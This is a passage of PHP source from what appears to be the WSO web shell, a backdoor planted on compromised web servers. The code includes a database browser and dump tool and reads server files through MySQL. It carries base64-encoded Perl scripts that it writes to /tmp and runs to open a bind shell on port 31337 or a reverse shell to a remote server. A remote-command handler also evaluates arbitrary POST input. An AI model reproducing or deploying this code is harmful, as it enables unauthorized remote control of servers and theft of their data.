1607 $this->query('SELECT * FROM ' . $table);
1608 while ($item = $this->fetch())
1609 {
1610 $columns = array();
1611 foreach($item as $k => $v)
1612 {
1613 $item[$k] = "'" . addslashes($v) . "'";
1614 $columns[] = $k;
1615 }
1616
1617 $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "\n";
1618 if ($fp) fwrite($fp, $sql);
1619 else echo ($sql);
1620 }
1621
1622 break;
1623 }
1624
1625 return false;
1626 }
1627 };
1628 $db = new DbClass($_POST['type']);
1629 if (@$_POST['p2'] == 'download')
1630 {
1631 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1632 $db->selectdb($_POST['sql_base']);
1633 switch ($_POST['charset'])
1634 {
1635 case "Windows-1251":
1636 $db->setCharset('cp1251');
1637 break;
1638
1639 case "UTF-8":
1640 $db->setCharset('utf8');
1641 break;
1642
1643 case "KOI8-R":
1644 $db->setCharset('koi8r');
1645 break;
1646
1647 case "KOI8-U":
1648 $db->setCharset('koi8u');
1649 break;
1650
1651 case "cp866":
1652 $db->setCharset('cp866');
1653 break;
1654 }
1655
1656 if (empty($_POST['file']))
1657 {
1658 ob_start("ob_gzhandler", 4096);
1659 header("Content-Disposition: attachment; filename=dump.sql");
1660 header("Content-Type: text/plain");
1661 foreach($_POST['tbl'] as $v) $db->dump($v);
1662 exit;
1663 }
1664 elseif ($fp = @fopen($_POST['file'], 'w'))
1665 {
1666 foreach($_POST['tbl'] as $v) $db->dump($v, $fp);
1667 fclose($fp);
1668 unset($_POST['p2']);
1669 }
1670 else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1671 }
1672
1673 wsoHeader();
1674 echo "
1675<h1>Sql browser</h1><div class=content>
1676<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1677<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1678<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1679<td><select name='type'><option value='mysql' ";
1680 if (@$_POST['type'] == 'mysql') echo 'selected';
1681 echo ">MySql</option><option value='pgsql' ";
1682 if (@$_POST['type'] == 'pgsql') echo 'selected';
1683 echo ">PostgreSql</option></select></td>
1684<td><input type=text name=sql_host value='" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "'></td>
1685<td><input type=text name=sql_login value='" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "'></td>
1686<td><input type=text name=sql_pass value='" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "'></td><td>";
1687 $tmp = "<input type=text name=sql_base value=''>";
1688 if (isset($_POST['sql_host']))
1689 {
1690 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']))
1691 {
1692 switch ($_POST['charset'])
1693 {
1694 case "Windows-1251":
1695 $db->setCharset('cp1251');
1696 break;
1697
1698 case "UTF-8":
1699 $db->setCharset('utf8');
1700 break;
1701
1702 case "KOI8-R":
1703 $db->setCharset('koi8r');
1704 break;
1705
1706 case "KOI8-U":
1707 $db->setCharset('koi8u');
1708 break;
1709
1710 case "cp866":
1711 $db->setCharset('cp866');
1712 break;
1713 }
1714
1715 $db->listDbs();
1716 echo "<select name=sql_base><option value=''></option>";
1717 while ($item = $db->fetch())
1718 {
1719 list($key, $value) = each($item);
1720 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1721 }
1722
1723 echo '</select>';
1724 }
1725 else echo $tmp;
1726 }
1727 else echo $tmp;
1728 echo "</td>
1729 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1730 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
1731 </tr>
1732 </table>
1733 <script>
1734 s_db='" . @addslashes($_POST['sql_base']) . "';
1735 function fs(f) {
1736 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1737 if(f.p1) f.p1.value='';
1738 if(f.p2) f.p2.value='';
1739 if(f.p3) f.p3.value='';
1740 }
1741 }
1742 function st(t,l) {
1743 d.sf.p1.value = 'select';
1744 d.sf.p2.value = t;
1745 if(l && d.sf.p3) d.sf.p3.value = l;
1746 d.sf.submit();
1747 }
1748 function is() {
1749 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1750 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1751 }
1752 </script>";
1753 if (isset($db) && $db->link)
1754 {
1755 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1756 if (!empty($_POST['sql_base']))
1757 {
1758 $db->selectdb($_POST['sql_base']);
1759 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br /><br />";
1760 $tbls_res = $db->listTables();
1761 while ($item = $db->fetch($tbls_res))
1762 {
1763 list($key, $value) = each($item);
1764 if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1765 $value = htmlspecialchars($value);
1766 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br />";
1767 }
1768
1769 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br />File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1770 if (@$_POST['p1'] == 'select')
1771 {
1772 $_POST['p1'] = 'query';
1773 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
1774 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1775 $num = $db->fetch();
1776 $pages = ceil($num['n'] / 30);
1777 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1778 echo " of $pages";
1779 if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
1780 if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
1781 $_POST['p3']--;
1782 if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1783 else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1784 echo "<br /><br />";
1785 }
1786
1787 if ((@$_POST['p1'] == 'query') && !empty($_POST['p2']))
1788 {
1789 $db->query(@$_POST['p2']);
1790 if ($db->res !== false)
1791 {
1792 $title = false;
1793 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1794 $line = 1;
1795 while ($item = $db->fetch())
1796 {
1797 if (!$title)
1798 {
1799 echo '<tr>';
1800 foreach($item as $key => $value) echo '<th>' . $key . '</th>';
1801 reset($item);
1802 $title = true;
1803 echo '</tr><tr>';
1804 $line = 2;
1805 }
1806
1807 echo '<tr class="l' . $line . '">';
1808 $line = $line == 1 ? 2 : 1;
1809 foreach($item as $key => $value)
1810 {
1811 if ($value == null) echo '<td><i>null</i></td>';
1812 else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1813 }
1814
1815 echo '</tr>';
1816 }
1817
1818 echo '</table>';
1819 }
1820 else
1821 {
1822 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1823 }
1824 }
1825
1826 echo "<br /></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1827 if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
1828 echo "</textarea><br/><input type=submit value='Execute'>";
1829 echo "</td></tr>";
1830 }
1831
1832 echo "</table></form><br/>";
1833 if ($_POST['type'] == 'mysql')
1834 {
1835 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1836 if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1837 }
1838
1839 if (@$_POST['p1'] == 'loadfile')
1840 {
1841 $file = $db->loadFile($_POST['p2']);
1842 echo '<pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1843 }
1844 }
1845 else
1846 {
1847 echo htmlspecialchars($db->error());
1848 }
1849
1850 echo '</div>';
1851 wsoFooter();
1852 }
1853
1854function actionNetwork()
1855 {
1856 wsoHeader();
1857 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1858 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1859 echo "<h1>Network tools</h1><div class=content>
1860 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1861 <span>Bind port to /bin/sh [perl]</span><br/>
1862 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1863 </form>
1864 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1865 <span>Back-connect [perl]</span><br/>
1866 Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1867 </form><br />";
1868 if (isset($_POST['p1']))
1869 {
1870 function cf($f, $t)
1871 {
1872 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1873 if ($w)
1874 {
1875 @fwrite($w, @base64_decode($t));
1876 @fclose($w);
1877 }
1878 }
1879
1880 if ($_POST['p1'] == 'bpp')
1881 {
1882 cf("/tmp/bp.pl", $bind_port_p);
1883 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1884 echo "<pre class=ml1>$out\n" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1885 unlink("/tmp/bp.pl");
1886 }
1887
1888 if ($_POST['p1'] == 'bcp')
1889 {
1890 cf("/tmp/bc.pl", $back_connect_p);
1891 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1892 echo "<pre class=ml1>$out\n" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1893 unlink("/tmp/bc.pl");
1894 }
1895 }
1896
1897 echo '</div>';
1898 wsoFooter();
1899 }
1900
1901function actionRC()
1902 {
1903 if (!@$_POST['p1'])
1904 {
1905 $a = array(
1906 "uname" => php_uname() ,
1907 "php_version" => phpversion() ,
1908 "wso_version" => WSO_VERSION,
1909 "safemode" => @ini_get('safe_mode')
1910 );
1911 echo serialize($a);
1912 }
1913 else
1914 {
1915 eval($_POST['p1']);
1916 }
1917 }
1918
1919if (empty($_POST['a']))
1920if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
1921 else $_POST['a'] = 'SecInfo';
1922
1923if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
1924exit; ?>